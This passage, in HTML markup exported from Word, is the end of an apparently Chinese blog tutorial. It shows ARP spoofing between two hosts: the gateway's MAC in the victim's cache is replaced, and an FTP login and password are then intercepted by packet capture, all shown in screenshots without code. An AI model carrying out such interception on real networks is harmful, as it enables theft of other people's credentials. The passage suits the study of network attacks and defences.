style=&quot;mso-spacerun:&#039;yes&#039;;font-size:12.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;\u7a0b\u5e8f\u5f00\u59cb\u6b3a\u9a97\u540e\u6211\u4eec\u5728&lt;\/span&gt;&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:12.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;B&lt;span style=&quot;font-family:\u5b8b\u4f53;&quot;&gt;\u4e3b\u673a\u4e0a\u8fd0\u884c\u6293\u5305\u5de5\u5177\u770b\u770b\u6293\u53d6\u5230\u7684&lt;\/span&gt;&lt;span style=&quot;font-family:&#039;Times New Roman&#039;;&quot;&gt;ARP&lt;\/span&gt;&lt;span style=&quot;font-family:\u5b8b\u4f53;&quot;&gt;\u5305\uff1a&lt;\/span&gt;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:10.5000pt;font-family:&#039;Times New Roman&#039;;&quot;&gt;&nbsp;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:10.5000pt;font-family:&#039;Times New Roman&#039;;&quot;&gt;&lt;a target=&quot;_blank&quot; href=&quot;http:\/\/www.weizn.net\/content\/uploadfile\/201401\/cf5793938b321b67b3b667655b37570320140124162556.jpg&quot; id=&quot;ematt:164&quot;&gt;&lt;img src=&quot;http:\/\/www.weizn.net\/content\/uploadfile\/201401\/thum-cf5793938b321b67b3b667655b37570320140124162556.jpg&quot; alt=&quot;\u70b9\u51fb\u67e5\u770b\u539f\u56fe&quot; border=&quot;0&quot; height=&quot;215&quot; width=&quot;482&quot; \/&gt;&lt;\/a&gt;&lt;br \/&gt;\n&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:12.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;\u7531\u6b64\u53ef\u89c1&lt;span style=&quot;font-family:&#039;Times New Roman&#039;;&quot;&gt;B&lt;\/span&gt;&lt;span style=&quot;font-family:\u5b8b\u4f53;&quot;&gt;\u4e3b\u673a\u4e0d\u65ad\u7684\u6536\u5230\u4e86\u6765\u81ea&lt;\/span&gt;&lt;span style=&quot;font-family:&#039;Times New Roman&#039;;&quot;&gt;A&lt;\/span&gt;&lt;span style=&quot;font-family:\u5b8b\u4f53;&quot;&gt;\u7684&lt;\/span&gt;&lt;span style=&quot;font-family:&#039;Times New Roman&#039;;&quot;&gt;ARP&lt;\/span&gt;&lt;span style=&quot;font-family:\u5b8b\u4f53;&quot;&gt;\u5e94\u7b54\u5305\uff0c\u6253\u5f00\u5176\u4e2d\u4e00\u770b\u770b\u770b\u5177\u4f53\u5185\u5bb9\uff1a&lt;\/span&gt;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:10.5000pt;font-family:&#039;Times New Roman&#039;;&quot;&gt;&nbsp;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:10.5000pt;font-family:&#039;Times New Roman&#039;;&quot;&gt;&lt;a target=&quot;_blank&quot; href=&quot;http:\/\/www.weizn.net\/content\/uploadfile\/201401\/e0e28452229af52e70f87dd03c3a30c220140124162559.jpg&quot; id=&quot;ematt:165&quot;&gt;&lt;img src=&quot;http:\/\/www.weizn.net\/content\/uploadfile\/201401\/thum-e0e28452229af52e70f87dd03c3a30c220140124162559.jpg&quot; alt=&quot;\u70b9\u51fb\u67e5\u770b\u539f\u56fe&quot; border=&quot;0&quot; \/&gt;&lt;\/a&gt;&lt;br \/&gt;\n&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:10.5000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;\u5728\u201c&lt;\/span&gt;&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:10.5000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;ARP-&lt;span style=&quot;font-family:\u5b8b\u4f53;&quot;&gt;\u5730\u5740\u89e3\u6790\u534f\u8bae\u201d\u90a3\u4e00\u9879\u4e2d\u770b\u89c1\u201c\u6e90\u7269\u7406\u5730\u5740\u201d\u548c\u201c\u6e90&lt;\/span&gt;&lt;span style=&quot;font-family:&#039;Times New Roman&#039;;&quot;&gt;IP&lt;\/span&gt;&lt;span style=&quot;font-family:\u5b8b\u4f53;&quot;&gt;\u5730\u5740\u201d\u90a3\u9519\u8bef\u7684\u5bf9\u5e94\u5173\u7cfb\u4e86\u5417\uff1f\u518d\u770b\u770b&lt;\/span&gt;&lt;span style=&quot;font-family:&#039;Times New Roman&#039;;&quot;&gt;B&lt;\/span&gt;&lt;span style=&quot;font-family:\u5b8b\u4f53;&quot;&gt;\u4e3b\u673a\u7684&lt;\/span&gt;&lt;span style=&quot;font-family:&#039;Times New Roman&#039;;&quot;&gt;ARP&lt;\/span&gt;&lt;span style=&quot;font-family:\u5b8b\u4f53;&quot;&gt;\u7f13\u5b58\u8868\uff1a&lt;\/span&gt;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:10.5000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;&lt;a target=&quot;_blank&quot; href=&quot;http:\/\/www.weizn.net\/content\/uploadfile\/201401\/129e458698c4745a32d44582161b51d820140124162600.jpg&quot; id=&quot;ematt:166&quot;&gt;&lt;img src=&quot;http:\/\/www.weizn.net\/content\/uploadfile\/201401\/thum-129e458698c4745a32d44582161b51d820140124162600.jpg&quot; alt=&quot;\u70b9\u51fb\u67e5\u770b\u539f\u56fe&quot; border=&quot;0&quot; \/&gt;&lt;\/a&gt;&lt;br \/&gt;\n&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:12.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;\u7f51\u5173&lt;span style=&quot;font-family:&#039;Times New Roman&#039;;&quot;&gt;MAC&lt;\/span&gt;&lt;span style=&quot;font-family:\u5b8b\u4f53;&quot;&gt;\u5df2\u7ecf\u88ab\u6210\u529f\u66ff\u6362\u4e3a&lt;\/span&gt;&lt;span style=&quot;font-family:&#039;Times New Roman&#039;;&quot;&gt;A&lt;\/span&gt;&lt;span style=&quot;font-family:\u5b8b\u4f53;&quot;&gt;\u4e3b\u673a\u7684&lt;\/span&gt;&lt;span style=&quot;font-family:&#039;Times New Roman&#039;;&quot;&gt;MAC&lt;\/span&gt;&lt;span style=&quot;font-family:\u5b8b\u4f53;&quot;&gt;\u4e86\uff0c\u8fd9\u6837&lt;\/span&gt;&lt;span style=&quot;font-family:&#039;Times New Roman&#039;;&quot;&gt;A&lt;\/span&gt;&lt;span style=&quot;font-family:\u5b8b\u4f53;&quot;&gt;\u4e3b\u673a\u5411\u7f51\u5173\u53d1\u9001\u7684\u6570\u636e\u90fd\u4f1a\u6d41\u7ecf&lt;\/span&gt;&lt;span style=&quot;font-family:&#039;Times New Roman&#039;;&quot;&gt;A&lt;\/span&gt;&lt;span style=&quot;font-family:\u5b8b\u4f53;&quot;&gt;\u4e3b\u673a\u4e86\u3002&lt;\/span&gt;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:12.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;\u4e0b\u9762\u6211\u4eec\u5728&lt;span style=&quot;font-family:&#039;Times New Roman&#039;;&quot;&gt;B&lt;\/span&gt;&lt;span style=&quot;font-family:\u5b8b\u4f53;&quot;&gt;\u4e3b\u673a\u4e0a\u5c1d\u8bd5\u8bbf\u95ee\u4e00\u4e0b\u4e00\u4e2a&lt;\/span&gt;&lt;span style=&quot;font-family:&#039;Times New Roman&#039;;&quot;&gt;FTP&lt;\/span&gt;&lt;span style=&quot;font-family:\u5b8b\u4f53;&quot;&gt;\u670d\u52a1\u5668\uff1a&lt;\/span&gt;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:10.5000pt;font-family:&#039;Times New Roman&#039;;&quot;&gt;&lt;a target=&quot;_blank&quot; href=&quot;http:\/\/www.weizn.net\/content\/uploadfile\/201401\/e25418821200a0f7c8f9f81b22d2169120140124162603.jpg&quot; id=&quot;ematt:167&quot;&gt;&lt;img src=&quot;http:\/\/www.weizn.net\/content\/uploadfile\/201401\/thum-e25418821200a0f7c8f9f81b22d2169120140124162603.jpg&quot; alt=&quot;\u70b9\u51fb\u67e5\u770b\u539f\u56fe&quot; border=&quot;0&quot; \/&gt;&lt;\/a&gt;&lt;br \/&gt;\n&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:10.5000pt;font-family:&#039;Times New Roman&#039;;&quot;&gt;&nbsp;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:12.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;\u8f93\u5165\u8d26\u53f7\u548c\u5bc6\u7801\u540e\u6211\u4eec\u70b9\u51fb\u767b\u9646\uff0c\u5728&lt;\/span&gt;&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:12.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;A&lt;span style=&quot;font-family:\u5b8b\u4f53;&quot;&gt;\u4e3b\u673a\u4e0a\u8fd0\u884c\u6293\u5305\u5de5\u5177\u770b\u770b\u6355\u83b7\u5230\u7684\u6570\u636e&lt;\/span&gt;&lt;\/span&gt;&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:12.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;\uff1a&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:10.5000pt;font-family:&#039;Times New Roman&#039;;&quot;&gt;&nbsp;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:10.5000pt;font-family:&#039;Times New Roman&#039;;&quot;&gt;&nbsp;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:10.5000pt;font-family:&#039;Times New Roman&#039;;&quot;&gt;&lt;a target=&quot;_blank&quot; href=&quot;http:\/\/www.weizn.net\/content\/uploadfile\/201401\/e3e6f22244e557f1758d397a9873414520140124162617.jpg&quot; id=&quot;ematt:168&quot;&gt;&lt;img src=&quot;http:\/\/www.weizn.net\/content\/uploadfile\/201401\/thum-e3e6f22244e557f1758d397a9873414520140124162617.jpg&quot; alt=&quot;\u70b9\u51fb\u67e5\u770b\u539f\u56fe&quot; border=&quot;0&quot; height=&quot;190&quot; width=&quot;519&quot; \/&gt;&lt;\/a&gt;&lt;br \/&gt;\n&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:12.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;\u7531\u6b64\u53ef\u89c1&lt;\/span&gt;&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:12.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;,B&lt;span style=&quot;font-family:\u5b8b\u4f53;&quot;&gt;\u4e3b\u673a\u8bbf\u95ee&lt;\/span&gt;&lt;span style=&quot;font-family:&#039;Times New Roman&#039;;&quot;&gt;FTP&lt;\/span&gt;&lt;span style=&quot;font-family:\u5b8b\u4f53;&quot;&gt;\u7684\u6570\u636e\u5305\u88ab\u6210\u529f\u7684\u6b3a\u9a97\u8fc7\u6765\u4e86\uff0c\u6211\u4eec\u518d\u53bb\u770b\u770b\u81ea\u5df1\u5199\u7684\u7a0b\u5e8f\u6709\u6ca1\u6709\u4ec0\u4e48\u53cd\u5e94\uff1a&lt;\/span&gt;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:10.5000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;&lt;a target=&quot;_blank&quot; href=&quot;http:\/\/www.weizn.net\/content\/uploadfile\/201401\/f0d0b070be593820651230120b0374be20140124162633.jpg&quot; id=&quot;ematt:169&quot;&gt;&lt;img src=&quot;http:\/\/www.weizn.net\/content\/uploadfile\/201401\/thum-f0d0b070be593820651230120b0374be20140124162633.jpg&quot; alt=&quot;\u70b9\u51fb\u67e5\u770b\u539f\u56fe&quot; border=&quot;0&quot; height=&quot;288&quot; width=&quot;442&quot; \/&gt;&lt;\/a&gt;&lt;br \/&gt;\n&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:12.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;\u54c8\u54c8\uff0c\u5df2\u7ecf\u6210\u529f\u7684\u5c06&lt;span style=&quot;font-family:&#039;Times New Roman&#039;;&quot;&gt;B&lt;\/span&gt;&lt;span style=&quot;font-family:\u5b8b\u4f53;&quot;&gt;\u53d1\u9001\u7ed9&lt;\/span&gt;&lt;span style=&quot;font-family:&#039;Times New Roman&#039;;&quot;&gt;FTP&lt;\/span&gt;&lt;span style=&quot;font-family:\u5b8b\u4f53;&quot;&gt;\u670d\u52a1\u5668\u7684\u8d26\u53f7\u548c\u5bc6\u7801\u622a\u83b7\u4e0b\u6765\u4e86\u3002&lt;\/span&gt;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;text-indent:24.0000pt;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:12.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;\u6587\u7ae0\u5230\u6b64\u7ed3\u675f\uff0c\u7531\u4e8e\u5c0f\u83dc\u6c34\u5e73\u6709\u9650\uff0c\u5982\u679c\u6587\u4e2d\u6709\u4ec0\u4e48\u5199\u9519\u7684\u5730\u65b9\u6b22\u8fce\u5404\u4f4d\u770b\u5b98\u6279\u8bc4\u6307\u6b63\u3002&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;text-indent:24.0000pt;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:12.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p&gt;\n&lt;!--[if gte mso 9]&gt;&lt;xml&gt;&lt;w:latentstyles deflockedstate=&quot;false&quot; defunhidewhenused=&quot;true&quot; defsemihidden=&quot;true&quot; defqformat=&quot;false&quot; defpriority=&quot;99&quot; latentstylecount=&quot;156&quot;&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;Normal&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;heading 1&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;heading 2&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;heading 3&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;heading 4&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;heading 5&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;heading 6&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;heading 7&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;heading 8&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;heading 9&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;index 1&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;index 2&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;index 3&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;index 4&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;index 5&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;index 6&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;index 7&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;index 8&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;index 9&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;toc 1&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;toc 2&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;toc 3&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;toc 4&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;toc 5&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;toc 6&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;toc 7&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;toc 8&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;toc 9&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;Normal Indent&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;footnote text&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;annotation text&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;header&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;footer&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;index heading&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;caption&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;table of figures&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;envelope address&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;envelope return&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;footnote reference&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;annotation reference&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;line number&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;page number&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;endnote reference&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;endnote text&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;table of authorities&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;macro&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;toa heading&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;List&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;List Bullet&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;List Number&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;List 2&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;List 3&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;List 4&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;List 5&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;List Bullet 2&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;List Bullet 3&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;List Bullet 4&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;List Bullet 5&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;List Number 2&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;List Number 3&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;List Number 4&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;List Number 5&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;Title&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;Closing&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;Signature&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;Default Paragraph Font&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;Body Text&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;Body Text Indent&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;List Continue&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;List Continue 2&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;List Continue 3&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;List Continue 4&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;List Continue 5&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;Message Header&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;Subtitle&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;Salutation&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;Date&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;Body Text First Indent&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;Body Text First Indent 2&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;Note Heading&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;Body Text 2&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;Body Text 3&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;Body Text Indent 2&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;Body Text Indent 3&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;Block Text&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; name=&quot;Hyperlink&quot;&gt;&lt;\/w:lsdexception&gt;&lt;w:lsdexception locked=&quot;false&quot; priority=&quot;99&quot; 